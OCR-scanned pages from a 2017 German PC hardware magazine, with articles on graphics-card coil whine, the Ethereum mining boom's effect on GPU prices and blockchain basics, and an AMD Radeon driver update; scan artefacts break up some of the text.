schen Direktor für Netzteile, Chris- 
tian Rex, müssen Spannungswand- 
ler mit entsprechenden Filtern 
versehen werden. Verwendet wer- 
den dafür Kondensatoren, die in 
der Lage sind, Störimpulse aus dem 
Strom herauszufiltern, und so die 
elektrische Kapazität der 12-Volt- 
Leitung erhöhen. Neben der Qua- 
litätskontrolle der Komponenten 
werden noch andere Parameter jus- 
tiert, erörtert Christian Rex weiter: 


Magnetische Feldenergie 
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„Ebenso werden Widerstandswer- 
te in Feedbackschaltkreisen und 
das Kernmaterial der Spulen so lan- 
ge angepasst, bis elektronische Ge- 
räusche auf ein Minimum reduziert 
sind. Um speziell Spulenfiepen 
von Grafikkarten zu unterbinden, 
wird zusätzlich darauf geachtet, 
die Taktfrequenzen des Netzteils 
so zu balancieren, dass Resonanz 
vermieden wird.“ Viele Hersteller 
denken àhnlich und investieren 
mittlerweile viel, um Spulenfiepen 
zu vermeiden. 


Spulenfiepen in Monitoren 
Das Coil Whining kann also bei 
allen PC-Komponenten auftreten, 
die zur Filterung der Eingangs- 
spannung einen LC-Schwingkreis 
verwenden. Dazu zählen Netzteile, 
Monitore, Mainboards und eben 
auch Grafikkarten. Spulenfiepen 
muss sich aber nicht nur als ein 
hochfrequentes ` unangenehmes 
Geräusch manifestieren, sondern 
kann sich auch als tiefes Brummen 
bemerkbar machen. Bei älteren LC- 
Displays mit CCFL-Hintergrundbe- 
leuchtung war das durchaus ein 
Problem, da die Leuchtstärke hier 
über Pulsweitenmodulation gere- 


i 


n 


, 


3. Wenn sich die 

Ladung ausgeglichen hat, 
verschwindet das E-Feld 
ganz. Beide Kondensator- 
platten besitzen jetzt 
gleich viele Elektronen. 


4. Durch die Selbstinduk- 
tion werden immer mehr 
Elektronen abgesaugt und 
auf die andere Kondensa- 
torplatte gepumpt. 


8. Der Strom erzeugt 
ein B-Feld und baut das 
E-Feld ab. 


9. Nach der Lenz'schen 
Regel saugt die Spule 
wieder die Elektronen von 
der einen auf die andere 
Kondensatorplatte. 

10. Das B-Feld 
verschwindet und der 
Anfangszustand ist 
wieder erreicht. 


gelt wurde. Dadurch wird die Fre- 
quenz herabgesetzt, sodass die Ei- 
genresonanz der Transformatoren 
durchaus getroffen werden kann. 


Maßnahmen gegen das 
Gequengel 

Wenn Sie Spulenfiepen in Ihrem 
System registrieren, 
zunáchst die Quelle genau ermit- 
teln. Am besten geht das mit einem 
Papprohr, das Sie wie ein Richtmik- 
rofon nutzen und auf die verdächti- 


sollten Sie 


gen Komponenten richten. Ist der 
hochfrequente Schreihals ermit- 
telt, sollten Sie zunächst einen Um- 
tausch in Erwägung ziehen. Dieser 
hängt stark davon ab, was im Vor- 
feld mit dem Händler vereinbart 
wurde beziehungsweise was der 
Hersteller versprochen hat. Wird 
im Datenblatt des Produktes nicht 
explizit auf einen leisen Betrieb 
hingewiesen und haben Sie mit 
dem Händler keine weitere Abspra- 
che ausgemacht, haben Sie leider 
keinen Anspruch auf Ersatz oder ei- 
nen Austausch. Spulenfiepen stellt 
nämlich faktisch gesehen keinen 
Mangel am Produkt dar, welcher 
die Funktion beeinträchtigen wür- 
de. Anders sieht es aus, wenn der 
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Stimmgabeln können, sofern sie ähnliche Attribute besitzen, in Mitschwingung ver- 
setzt werden. Die rechte Gabel besitzt andere Eigenschaften und schwingt nicht mit. 


msi 
AFTERBURN 


r 
u — 


s GeForce GTX 1070 


368.39 | 


| Core Voltaqe (%) 
u 


Power Limit (%) 


Core Clock (MHz) 


” ns 


| Memory Clock (MHz) 
m y 


| Fan Speed (%) 
m 


Zuallerst sollten Sie versuchen, das Fiepen softwareseitig mit einem Fps-Limiter zu 
lösen. Meist erreichen Sie hiermit die größten Erfolge (hier: MSI Afterburner). 


Hersteller mit einem besonders 
leisem Betrieb die Karte bewirbt: 
Kommt es zum Spulenfiepen, liegt 
ein Sachmangel vor, den Sie ohne 
Einschränkungen bei Hersteller 
und Händler reklamieren dürfen. 
Ob Sie allerdings ein nicht fiepen- 
des Austauschmodell erhalten, 
steht nicht fest. 


Neue Case-Designs, Dämmplatten 
oder passive Kühllösungen können 
die Lautheit in einem Rechner auf 
ein Minimum reduzieren. Umso är- 
gerlicher ist dann das hochfrequen- 
te Spulenfiepen, da das Geräusch 
meist störend bleibt. Da vielen Her- 
stellern diese Problematik bewusst 
ist, wird bei den Spulen deshalb 
nicht nur auf die Qualität geachtet, 
sondern resonanzfähige Baugrup- 
pen werden zusätzlich verklebt. 
Bei nur wenigen Grafikkarten ist 
dies der Fall, sodass der Gedanke 
naheliegt, das Versiegeln selbst 
nachzuholen. 


Am einfachsten ist das Versiegeln 
der Spulen per Heiß- oder Zwei- 
komponentenkleber (Epoxidharz). 
Der Kleber soll ja nichts anderes be- 
wirken, als die Spulen zu arretieren 
und so die Eigenschwingung und 
die damit verbundene Geräusch- 
entwicklung zu vermeiden. Dass 
die Garantie oder die Gewährleis- 
tung durch das Verkleben erlischt, 
sollte jedem Bastler im Vorfeld klar 
sein, denn es handelt sich hier um 
eine nicht vorgesehene Modifika- 
tion der Grafikkarte. Sie kleben 
hier also auf eigene Gefahr! 


Epoxidharz findet auch als Träger- 
material für Leiterplatten Anwen- 
dung, z. B. in der FR-4-Klasse. 


5 Min. Epoxy 


Wenn Sie den Aufwand und die 
Gefahr des Klebens scheuen, aber 
dennoch Ihre Karte zum Verstum- 
men bringen möchten, fahren Sie 
am besten mit einer softwareseiti- 
gen Lösung des Problems. Spulen 
fangen in der Regel erst bei hohen 
Auslastungen das Fiepen an, wenn 
beispielsweise hohe Frameraten 
dargestellt werden müssen. Mit 
dem herstellerübergreifenden Tool 
MSI Afterburner können Sie den 
Maximalwert der Bilder pro Se- 
kunde reduzieren, bis das Fiepen 
verschwindet. Andere Lösungen, 
etwa der Nvidia Inspector, arbeiten 
dagegen nur mit Grafikkarten des 
namensgebenden Herstellers zu- 
sammen. Am einfachsten ist jedoch 
- falls möglich - Vsnyc. Hier wird 
die Framerate der Grafikkarte mit 
der des Monitors synchronisiert 
und auf die Bildwiederholfrequenz 
des Monitors herabgesetzt. 


Die Limitierung der Frameraten hat 
meist signifikantere Auswirkungen 
auf die Geräuschentwicklung fie- 
pender Spulen als das Verkleben 
selbiger. Angenehmer Vorteil: Ga- 
rantie und Gewährleistung bleiben 
erhalten. Sollten Sie dennoch All in 
gehen und Ihre Spulen mit Kleber 
zur Ruhe stellen wollen, beachten 
Sie bitte Folgendes: Die Kühlleis- 
tung der Bauteile leidet darunter 
sehr. Epoxidharz ist ein duroplas- 
tischer Kunststoff, der eine sehr 
schlechte Wärmeleitfähigkeit von 
lediglich 0,21 W/(m-K) aufweist 
und deswegen eher als Dämmstoff 
durchgeht. Aluminium oder Kup- 
fer, welche häufig als Material für 
Kühlkörper Verwendung finden, 
haben dagegen tausendfach so 
hohe Wärmeleitkoeffizienten. 


Durch das Kleben kann die Lautheit 
marginal gesenkt werden, jedoch 
nicht um den gewünschten Betrag. 
Das Spulenfiepen ist auch nach wie 
vor wahrnehmbar - wenngleich 
die Tonhöhe sich geändert hat und 
etwas tiefer klingt. Der Nutzen des 
eigenständigen Verklebens der 
Bauteile ist vor allem wegen der 
schlechten Wärmeleitfähigkeit 
von Epoxidharz nicht optimal und 


SE ES L KN durch den garantierten Garantie- 


Oben die unverklebte Geforce GTX 285, unten die gleiche Grafikkarte, deren 
Spulen in eine Schicht aus Epoxidharz gehüllt sind. 


verlust, sowie eventuellen Schäden, 
zumindest bedenklich. (ab) 


20 PC Games Hardware | 09/17 а së www.pcgameshardware.de 


DICK 
TATOR 


WIR MACHEN'S LUSTIG. 
TÄGLICH AB 14:00 IM TV. 


C 


COMEDY IV41lN3O 


SPECIAL | Mining 


Digitale 
Goldgral 


Bild: Pixabay 


үз, 


eu. 
déi ' 060 1 


berstimmur 


Preise für GPUs schnellen in die Hóhe oder Grafikkarten sind gar nicht mehr beziehbar. 


Müssen wir uns nun auf Hardware-Runs einstellen? Eine Spurensuche. 


er sich zur Zeit eine neue 

Mittelklasse-Grafikkarte 
kaufen móchte, wird ganz schón 
staunen: Entweder sind die Kon- 
tingente schon leergekauft, oder 
man zahlt Mondpreise für Rest- 
bestände. Schuld daran ist der ak- 
tuelle Miningboom um die Kryp- 
towährung Ethereum, deren Wert 
Mitte März dieses Jahres noch bei 
knapp 25 Euro lag und zwei Mona- 
te später bereits mit fast 330 Euro 
pro Ethereum gehandelt wurde 
- das ist eine Wertsteigerung von 
1220 Prozent in nur acht Wochen. 
Durch diese Goldgráberstimmung 
entstehen einige Probleme: Wird 
Gaming-Hardware nun immer teu- 
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erer? Müssen wir uns in Zukunft 
auf solche Hardware-Runs einstel- 
len? Und wird der Einstieg in das 
PC-Gaming erschwert? Wir haben 
uns auf Spurensuche begeben. 


Viele werden von der Kryptowäh- 
rung Ethereum - auch Ether ge- 
nannt - wahrscheinlich erst in den 
letzten Wochen gehórt haben, als 
es auf einmal im Mittelklasse-Preis- 
segment des GPU-Marktes zu Lie- 
ferengpássen oder Wucherpreisen 
kam. Die neue Kryptowährung, die 
die ganze Misere zu verantworten 
hat, schürft erstaunlich gut mit 
AMD-GPUs nach dem digitalen 


Gold. Aus diesem Grund sind auch 
besonders AMD-Grafikkarten der 
RX-Modelreihe von dieser enor- 
men Nachfrage betroffen, die teil- 
weise zu Preissteigerungen von 
über 100 Prozent führte. Händler 
oder baldige Miner: Für manche 
scheint so eine Karte wie eine Li- 
zenz zum Gelddrucken zu sein. 


„[...] Während der typische Gamer 
eine, zwei, in seltenen Fällen sogar 
vier Grafikkarten verbaut, nutzt 
der Miner so viele, wie er sich er- 
lauben kann. Dies hat ein grofses 
Ungleichgewicht des Verbraucher- 
marktes zu [sic] Folge [...],“ konnte 


man Anfang Juli auf der Facebook- 


Seite der Mindfactory AG lesen. 
Der Hardware-Versand stornierte 
bestehende Bestellungen, da man 
aktuell Káufern kein faires Angebot 
unterbreiten kann und man sich 
nicht an den Preisspekulationen 
beteiligen will. 


MSI 
oder Sapphire haben aufgrund der 
enormen Nachfrage auch schon 
dezidierte Mining-Editionen her- 
ausgebracht oder zumindest ange- 
kündigt. Die Idee dahinter ist, den 
PC-Gaming-Markt abzugrenzen 
und die Kontingente bewusster zu 


Grafikkartenhersteller wie 


verteilen. Durch die spezialisierten 
Karten sollen auch die Bedürfnisse 
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СРИ? 


der Miner besser bedient werden, 
sodass das Interesse an Gaming- 
Karten sinkt. ,In der derzeitigen 
Situation werden diese Anstre- 
gungen aber keinen grofšen Un- 
terschied machen, da immer noch 
zu geringe Stückzahlen den Markt 
erreichen,“ so Alexander Schmidt 
von Sapphire. 


Müssen wir uns jetzt also in Zukunft 
an solche Hardware-Runs gewöh- 
nen? Kurz gesagt: Ja, wahrschein- 
lich schon. Denn „in der Vergan- 
genheit erlebten wir bereits einen 
ähnlichen Hype rund um Kryp- 
towährungen im Zusammenhang 
mit einer extrem hohen Nachfrage 
an Grafikkarten. Solche Nachfrage- 
spitzen können durchaus auch in 
Zukunft immer wieder auftreten,“ 
schätzt Dirk Neuneier von MSI die 
Situation ein. Es handelt sich also 
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nicht nur um eine „Miningblase“, 
die platzt und kurz darauf in der 
Versenkung verschwindet. Kryp- 
towährungen werden einen immer 
größeren Stellenwert im IT-Sektor 
einnehmen. Alexander Schmidt 
sieht das ähnlich wie der Kollege 
von MSI: „Auf der anderen Seite 
mehren sich aber die Zeichen da- 
für, dass zumindest einige Coins in 
Zukunft eine größere Rolle spielen 
werden, und viele sind der Ansicht, 
dass die jetzigen Veränderungen 
im Preisgefüge ganz normal sind. 
Die Nachfrage ist also ungeachtet 
der momentanen Schwankungen 
weiterhin hoch und es sieht vor- 
erst nicht so aus, als würde sich das 
ändern.“ 


Die Hersteller von solchen Custom- 
Design-Karten versuchen schon 
die Produktionskapazitäten zu stei- 


Mondpreise für GPUs wegen Ethereum-Rush 
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Etherereum-Kursentwicklung: Ether kann seit dem 30.07.2015 geschürft werden und legte in den 
letzten Wochen eine beträchtliche Kurssteigerung hin. Am 20. Juli lag der Preis bei rund 231 US-Dollar. 
GPU-Preisanstieg: Gewählt wurde die Sapphire RX 480 Nitro+. Daten von finanzen.net und geizhals.de 


gern, sind da aber offensichtlich 
von den Chipherstellern AMD und 
Nvidia abhängig. Die zwei großen 
halten sich zu dem Thema übri- 
gens sehr bedeckt: Nvidia befindet 
sich laut eigener Aussage in einer 
„Quiet Phase“ und AMD kommen- 
tiert keinerlei Fragen zum Schürfen 
von Kryptowährungen. 


Der Grundstein für digitale Wäh- 
rungen wurde 2008 unter dem 
Pseudonym Satoshi Nakamoto in 
einem Whitepaper gelegt, als der 
Erfinder auf einer Mailingliste für 
Kryptographie das Konzept der 
Bitcoins vorstellte. Grund dafür 
war die ein Jahr zuvor von einer 
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Wie funktioniert die Blockchain? 


Dezentral, ohne teure Mittelsmänner, demokratisch, fair und auch noch 
sicher? Hört sich einfach zu gut an. Wie kann das bloß funktionieren? 


D (B) Eine Transaktion wird 


durchgeführt, indem ein 
Wert von Person A auf 
Person B übertragen 
wird, die aber noch 
vom Netzwerk bestätigt 
werden muss. 


Dann wird diese 
Transaktion im Peer- 
to-Peer-Netzwerk der 
Blockchain gepostet, 
um dann von anderen 
Minern bestätigt zu 
werden, um Gültigkeit 
zu erlangen. 


Alle zehn Minuten wird 
ein neuer Block erstellt, 
der alle Transaktionen 
und Informationen 
enthält — auch unsere. 


Nun wird eine kryptographische 
Hashfunktion gelöst, die den Re- 
geln der Währung entsprechen. 
Hier konkurrieren die Miner 
untereinander, denn wer als 
erstes die Funktion löst, wird mit 
Coins belohnt. 


Sobald die Funktion gelöst wur- 
de, muss sie von anderen Minern 
bestätigt werden, da bisher nur 
der Ersteller sie verifiziert hat. 
Dazu wird die Information über 
den gelösten Block wieder im 

ө P2P-Netzwerk gepostet. 


" 81-х -vy 


Nur wenn der Block regelkonform gelóst wurde und bestimmte Daten 
enthält, wird er im Netzwerk als valide akzeptiert. 


Ein valider Block wird schnel- 
ler von anderen Minern 
verifiziert als ein manipulier- 
ter Block. Aus diesem Grund 
wächst die Blockchain mit 
korrekten Blöcken schneller 
als mit manipulierten. So ist 
die Blockchain sicher. 
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Immobilienpreisblase losgetretene 
Weltwirtschaftskrise, die das Ver- 
trauen in bestehende Geld- und 
Wertsysteme erschütterte. Denn 
damit eine Währung funktionie- 
ren kann, müssen die Nutzer dem 
Zahlungsmittel erst einen Wert bei- 
messen. Dabei handelt es sich um 
sogenanntes Fiatgeld (vom latei- 
nischen Passivverb fieri: „gemacht 
werden‘), das ein Objekt ohne in- 
neren Wert darstellt, das als Tausch- 
mittel dient - beispielsweise ein 
bedrucktes Stück Papier. 


„Die Substanz des Geldes ist Ve- 
trauen,“ fasst Wirtschaftsphilosoph 
Karl-Heinz Brodbeck die heutige Fi- 
nanzwelt in einem Satz zusammen. 
Anders ausgedrückt, beschreiben 
unsere Währungssysteme eine ge- 
sellschaftliche Verabredung, die 
auf Glauben und Hoffen basiert. 
Das größte Problem in diesem Sys- 
tem ist, dass unser Vertrauen stän- 
dig missbraucht wird. Sei es nun 
durch Zinsen, die laut Brodbeck 
die erste Stufe des Vertrauensmiss- 
brauchs darstellen, oder wie erst 
kürzlich mit den Cum-Ex-Geschäf- 
ten, die den Staat - und damit den 
Steuerzahler - knapp 32 Milliarden 
Euro gekostet haben. 


Genau hier setzen digitale Wäh- 
rungen wie Ethereum oder Bitcoin 
an, die das Vertrauen über Krypto- 
graphische Berechnungen, dem 
sogenannten „Proof of Work“, her- 
stellen. „Mit einer elektronischen 
Währung, die auf einem krypto- 
grafischen Beweis beruht und 
kein Vertrauen in Mittelsmänner 
benötigt, ist Geld sicher und kann 
mühelos transferiert werden,“ so 
Nakamoto, einen Monat nach der 
ersten Bitcoin-Schöpfung im Jahre 
2009. Die Idee ist also recht sim- 
pel: Ein Geldsystem, das nicht auf 
Vertrauen zu irgendwelchen Mit- 
telsmännern, Banken oder Hedge- 
fonds beruht, nicht manipuliert 
oder gehackt werden kann, um ein 
Vielfaches günstiger ist als aktuelle 
Systeme und niemanden aufgrund 
von sozialer Stellung oder Vermö- 
gen ausschließt. 


Aktuell gibt es übrigens über 3,000 
Kryptowährungen, von denen cir- 
ca, 100 einen täglichen Handels- 
umsatz von über 1,000 Dollar auf- 
weisen. Bitcoin ist hier auch nach 
wie vor Platz eins, dicht gefolgt von 
Ethereum. 


In cryptography we trust 
Auch wenn Kryptowährungen 
momentan bei Gamern und PC- 
Enthusiasten schlecht dastehen, 
Geldsysteme wie Ethereum oder 
Bitcoins haben einen entscheiden- 
den Vorteil für jeden Nutzer: die 
Blockchain. 


Wie der Name schon erahnen lässt, 
handelt es sich um eine Kette aus 
Blöcken, die eine Datenbank re- 
präsentieren. Die Integrität des 
Systems wird aufrechterhalten, in- 
dem es mittels kryptographischer 
Verkettung der gesamten Blöcke 
untereinander gegen Manipulati- 
on abgesichert ist. Wird ein neuer 
Block erstellt, enthält der auch im- 
mer den Datensatz des vorherigen 
Blocks in Form eines Hashwerts. So 
können, ähnlich zu einem Grund- 
buch, alle Geschäftsbewegungen 
chronologisch verfolgt und den 
einzelnen Bilanzpositionen zuge- 
ordnet werden - und das für Je- 
dermann einsehbar. Durch diesen 
Mechanismus wird nicht nur Ver- 
trauen generiert, welches wir sonst 
Banken oder Staaten hätten geben 
müssen, sondern die Erstellung re- 
gelkonformer Blöcke erhöht auch 
den Aufwand für Fälschungen: In 
cryptography we trust. 


Um weitere Möglichkeiten einer 
Manipulation zu vermeiden, kom- 
men noch andere Aspekte zum 
Tragen. Das System ist dezentral 
organisiert und ist damit nahezu 
unhackbar, verglichen mit zent- 
ralen Bankservern. Wird nun also 
eine Transaktion durchgeführt, 
wird sie weltweit im Peer-to-Peer- 
Netzwerk der Kryptowährung 
gepostet. Die Miner versuchen 
dann, einen neuen Block in der 
Blockchain zu erstellen, indem sie 
für die Überprüfung eine in einer 
krypotographischen Hashfunktion 
realisierte Einwegfunktion nach 
einem bestimmten Wert hin auf- 
lósen. Der erste Teilnehmer, der 
die komplexen Berechungen löst, 
wird mit einer Ausschüttung in der 
Kryptowährung belohnt. Bei Bit- 
coin wird beispielsweise - durch 
Anpassung der Schwierigkeit der 
Funktion - alle zehn Minuten ein 
Block der Kette erstellt, der dann 
die gesamten Transaktionen und 
Informationen der letzten zehn 
Minuten beinhaltet - plus die Ver- 
knüpfung über einen Hashwert 
zum letzten validen Block. 
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Jeder dieser Blócke kann mit einer 
neuen Seite im Grundbuch vergli- 
chen werden, die nun zusätzlich 
geprüft werden muss. Dazu vali- 
dieren die anderen Teilnehmer, 
ob der letzte erstellte Block dem 
Regelwerk der digitalen Währung 
entspricht. Der neue Block ist aber 
zunächst nur bedingt glaubwürdig, 
da er ja bisher nur vom Ersteller 
bestätigt wurde. Jetzt müssen die 
anderen Miner den neu erstellten 
Block validieren und sobald die 
Mehrheit der Nutzer den Block für 
gültig erklärt, wird die Blockchain 
an diesem Punkt am schnellsten 
wachsen. Wird der Block als nicht 
konform eingestuft, wird die Kette 
vom vorherigen Block aus weiter 
wachsen. Dadurch entsteht also 
keine Kette im klassischen Sinne, 
sondern eher ein Baum. 


Da alle zehn Minuten ein neuer 
Block entsteht, bedarf es bereits 
nach einer Stunde der fünffachen 
Rechenleistung des gesamten Netz- 
werkes, um die Blockchain an die- 
sem Punkt zu manipulieren oder 


die verifizierten Blöcke infrage zu 
stellen. Glaubt man zudem der Aus- 
sage des kanadischen Professors 
für Managment, Don Tapscott, hat- 
ten Miner 2016 bis zu hundert Mal 
mehr Rechenpower als Google - 
selbst mit Mitteln der NSA scheint 
die Blockchain auf diesem Wege 
nicht hackbar zu sein. 


Mining killed the 
Gaming-Star? 

Wird die finanzielle Einstiegshür- 
de für das PC-Gaming nun immer 
weiter nach oben gesetzt? Eine 
berechtigte Frage, wenn man sich 
die aktuellen Jupiterpreise für 
Grafikkarten anschaut, sofern man 
überhaupt noch eine bekommt. 
Das Problem liegt auf der Hand: 
Genau die Karten, die sich im preis- 
lichen Mittelfeld bewegen, werden 
wie geschnitten Brot verkauft. 
Für Neueinsteiger sind sicherlich 
die horrenden Summen für ein 
Komplettsystem im High-End- 
Bereich zu hoch, weswegen man 
eben Kompromisse an manchen 
Hardware-Komponenten eingeht. 


J V LJ- 


Doch durch den aktuellen Gold- 
rausch rutscht dieses Segment in 
die obere Preisklasse der High-End- 
Komponenten, bei mittelklassiger 
Leistung. 


Der Custom-Design-Hersteller Sap- 
phire, der nur AMD-Chips verwen- 
det, sieht neben eventuellen Ver- 
lusten von AMD-Marktanteilen im 
Gamingbereich auch noch ein wei- 
teres Problem, das den Endkunden 
betrifft: Die eigene Reputation. 
„Die Verfügbarkeit ist schlecht und 
die Preise steigen. Das hinterlässt 
einen negativen Beigeschmack für 
Endkunden [...].“ Die Hersteller 
versuchen zwar schon, die gerin- 
gen Stückzahlen gerecht aufzutei- 
len, aber schlussendlich haben sie 
keinen Einfluss, wo die Karten lan- 
den, sobald sie einmal im Handel 
sind. 


Durch die starken Kurschwan- 
kungen der digitalen Währungen 
und der derzeitigen Entwicklung 
kommt aber ein noch größeres Pro- 
blem auf die Hersteller zu: Neben 
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drastischen Preisanstiegen der Bau- 
teile konnen die Chipproduzenten 
die notwendigen Produktionsan- 
passungen nur schwer abschätzen 
oder planen. Keiner weifš, ob die 
Nachfrage in einem halben Jahr 
plótzlich verebbt oder nochmal an- 
zieht. Daniel Mollendorf von Asus 
greift neben den ganzen Mining- 
Argumenten noch einen weiteren 
Aspekt auf, der sich schlussendlich 
auch auf den Gamingmarkt auswir- 
ken kann GPGPU - Allzweckbe- 
rechnungen auf GPUs: „So werden 
GPGPUs immer häufiger für Data 
Center oder auch Deep-Learning- 
Projekte verwendet.“ 


Ethereum: Schwarzer oder 
smarter Peter? 

Neben den bereits erwihnten 
realen Konsequenzen im Hard- 
waremarkt, wirkt sich die digita- 
le Goldgráberstimmung zudem 
noch direkt auf unsere Umwelt 
aus - denn Computer benötigen 
bekanntlich Strom. Alex de Vries, 
Gründer der Analyseseite für Kryp- 
towährungen  Digiconomist hat 
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Sind Coins dreckiger als Kohle? 
Energieverbrauch, der durch das Schürfen von Bitcoins entsteht 
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Bild: Giga Watt 
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Bei Giga Watt, einem Service - Provider fürs Mining im US-Bundesstaat Washington, 
kann man Miner mieten und nach den Kryptowährungen schürfen. 


Bild: Giga Watt 


Der GPU-Markt lässt grüßen: Das Lager in solch einer „Coin-Mine” platzt geradezu 
aus allen Nähten. 
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den CO2-Fußabdruck von Platz- 
hirsch Bitcoin und vom Newcomer 
Ethereum ermittelt und sogar in 
Relation zu Kreditkartentransak- 
tionen gesetzt. De Vries kommt 
dabei zu einem erschreckenden 
Ergebnis: Das Schürfen von Bit- 
coins verbraucht aktuell im Jahr 
mehr Energie als Slowenien - gan- 
ze 14,59 Terawattstunden. Ethere- 
um ist da keinen Deut besser und 
mit aktuell 4,71 Terawattstunden 
pro Jahr zwei Plätze vor dem Mit- 
telmeerstaat Zypern. Natürlich 
handelt es sich hierbei um Schätz- 
werte, da die dezentrale Natur der 
Blockchain keine hunderprozentig 
genauen Aussagen über den elekt- 
rischen Verbrauch zulässt. Die An- 
nahmen von de Vries beruhen aber 
auf nachvollziehbaren 
tern, wie etwa den Hashraten des 
Netzwerks und den verwendeten 
Grafikkarten. Selbst bei einer wohl- 
wollenden Berechnung geht der 
Analyst immer noch von zwei Tera- 
wattstunden pro Jahr aus, wenn 
29 MH/s einem Wattverbrauch von 
135 W entsprechen (TDP der RX 
480). Demnach verschlingt eine 
einzelne Transaktion im  Ether- 
Netz 45 kWh - so viel Energie ver- 
braucht ein US-Haushalt innerhalb 
von 36 Stunden. Zum Vergleich: 
Eine Kreditkartentransaktion be- 
nötigt 0,00651 kWh. 


Parame- 


Aber Ethereum muss Rechenpow- 
er nicht nur für den kryptographi- 
schen Beweise der Blockchain lie- 
fern, sondern auch für sogenannte 
Smart Contracts, die im Ethereum- 
Netzwerk implementiert sind. Da- 
bei handelt es sich um Computer- 
protokolle, die Verträge abbilden, 
überprüfen und die Abwicklung 
technisch unterstützen. Dadurch 
werden Mittelsmänner wie Ban- 
ken, aber auch Service-Provider 
wie beispielsweise Airbnb obsolet: 
Die Vertragspartner können durch 
die Blockchain einander vertrauen 
und kommen dabei noch viel güns- 
tiger weg. Rechteinhaber können 
die Früchte ihrer Kreativität ent- 
sprechend verwerten, ohne hor- 
rende Summen an Plattenfirmen 
oder Verlage abzutreten. Deswegen 
ist die neue digitale Kryptowäh- 
rung auch viel mehr als „nur“ eine 
Währung á la Bitcoin: Es ist eine 
Plattform für dezentral arbeiten- 
de Applikationen, die durch die 
Kryptographie vertrauenswürdig 
werden. 


Die Zukunft besteht aus 
Blöcken 

Als dieser Text verfasst wurde, hat 
sich der Boom um Ethereum wie- 
der etwas gelegt und der Markt für 
Grafikkarten ein wenig entspannt, 
sicherlich auch durch die Anstre- 
gungen der Hardware-Provider. Ak- 
tuell fluktuiert der Wert um knapp 
200 Dollar pro Ether. Aber was 
wird die Zukunft bringen? Gaming- 
Hardware wird teuerer werden, 
diesen Trend kann man aber schon 
seit längerer Zeit beobachten. Die 
Mondpreise und die nicht existen- 
ten Verfügbarkeiten der letzten 
Wochen waren lediglich die Kon- 
sequenz eines fehlgeleiteten Her- 
dentriebs, angefeuert von der Gier, 
das schnelle Geld zu machen. Der 
Gebrauchtmarkt zeigt gerade, dass 
die Vernunft bei vielen wieder ein- 
setzt. 


Neben dem Mining werden GPUs 
in Zukunft mehr in nicht für Spie- 
le relevante Prozesse eingesetzt 
werden, man denke nur an die ra- 
sante Entwicklung im Bereich des 
maschinellen Lernens. Wenn das 
Angebot begrenzt ist, müssen wir 
zukünftigen Gamer tiefer in die 
Tasche greifen und die Einstiegs- 
aufwendung für das PC-Gaming 
steigen dadurch. Den Herstellern 
und Distributoren ist das bewusst 
und einige Maßnahmen, wie etwa 
dezidierte Miningkarten zeigen 
erste Erfolge, um die Situation zu 
entspannen. 


Am meisten schlägt aber wohl der 
Umweltaspekt zu Buche. Während 
die Nutzer von Bitcoin beim alten 
Arbeitsnachweis bleiben werden 
und damit sich die Energiebilanz 
nicht verbessern wird, wird Ethe- 
reum bald auf einen Proof-of-Stake- 
Algorithmus wechseln. Hier wird 
keine Belohnung durch das Lösen 
komplexer Hashfunktionen aus- 
geschüttet, sondern der Ersteller 
des neuen Blocks wird determinis- 
tisch ausgewählt und mit Transak- 
tionsgebühren bezahlt. Dadurch 
sinken die Energiekosten auf ein 
Minimum, die kryptographischen 
Eigenschaften der Blockchain blei- 
ben aber erhalten. Und hierin liegt 
auch die größte Errungenschaft: 
Die Blockchain ist ein sicheres, de- 
mokratisches System, das mit den 
Smart Contracts die Möglichkeit 
hat, unsere gesamte Gesellschaft- 
fairer zu machen. (ab) 
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Radeon Software 17.7. 
Feature Status 
Relive 1 Maximale Datenrate beim Aufnehmen nun 100 statt 50 Mbps 
I Kamera-Einblendung des Streamers kann nun transparent dargestellt werden 
I Reduzierter Overhead (Last) beim Aufnehmen 
I Zusätzliche Feedback-Meldungen (u. a. „Replay wird gespeichert") 
I Neue Mikrofon-Optionen (u. a. Lautstärke) 
Wattman Е Unterstützt nun auch Speicher-UNTERtaktung 
I Neue Option, die GPU Power States zu beeinflussen 
Chill I Kann nun inklusive der Min- und Max-Werte in jedem Spielprofil einzeln 


konfiguriert werden 
I Unterstützt nun auch die Low-Level-Schnittstellen Direct X 12 und Vulkan 
I Unterstützt nun Multi-GPU (Crossfire) und Xconnect 

H Unterstützt nun auch Notebooks 


Zusätzliche Radeon-Einstel- 
lungen (u. a. Farbtiefe und 
Pixelformat) 


Die Reste des Catalyst Control Centers (CCC) wurden endgültig entfernt und 
alle Funktionen in Radeon Settings implementiert. 


Enhanced Sync 


Ganz neue Funktion im Stile von Nvidias „Fast Sync". Minimiert Bildrisse (Tea- 
ring), wenn die Bildrate höher ist als die Refreshrate des Monitors, und simuliert 
somit Vsync ohne dessen Latenz. 


Frame Rate Target Control 
(FRTC) 


Das wáhlbare Framelimit unterstützt nun auch Direct X 12 und Multi-GPU. 


Farbeinstellungen pro 
Bildschirm 


Farben jedes angeschlossenen Bildschirms kónnen einzeln feinjustiert werden. 


Shader Cache 


Unterstützt nun auch die DX9-Schnittstelle. Dadurch werden Ladezeiten (ab 
dem zweiten Spielstart) sowie Nachladeruckler eingedámmt. 


Overhead-/Latenz-Reduktion 


Treiber setzt die CPU-Drawcalls unter DX11 und DX9 nun schneller um, was 
das Ansprechverhalten und die Bildraten erhóht. 


Virtual Super Resolution (VSR) 


Keine Änderungen 
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Grafikkarten 


Grafikkarten, Kühl 


www.pcgameshardware.de/grafikkarte 


Radeon Software: 
Mächtiges Update 


AMD hat das nächste große Update der Radeon-Soft- 
ware veröffentlicht. Auf der Agenda standen sowohl 
Performance-Verbesserungen als auch neue Features für 
(fast) alle Radeon-Nutzer. 


assen Sie sich nicht verwirren: Obwohl die Ver- 
L. a 17.7.2 wie ein zu vernachlässigendes 
Update gegenüber dem 17.7.1 aussieht, macht dieser 
Ende Juli veröffentlichte Treiber einen großen Sprung 
nach vorne. Es handelt sich um das nächste Major-Up- 
date nach dem 16.12 Crimson Relive Edition. Wie bei 
diesen Updates üblich, hat das Treiberteam das Nutzer- 
Feedback der vergangenen Monate eingearbeitet und 
um weitere Funktionen ergänzt. Im Fokus standen 
die meistgewünschten Features, über die man unter 
gaming.radeon.com/radeonsoftware/feedback abstim- 
men kann. Wir haben die wichtigsten Errungenschaf- 
ten in der Tabelle zusammengefasst. 


Die RS 17.7.2 verbessert den Funktionsumfang in bei- 
nahe jeder Disziplin und räumt mit einer Altlast auf. 
Obwohl AMD Ende 2015 die grafische Oberfläche vom 
Catalyst Control Center auf die Radeon Settings um- 
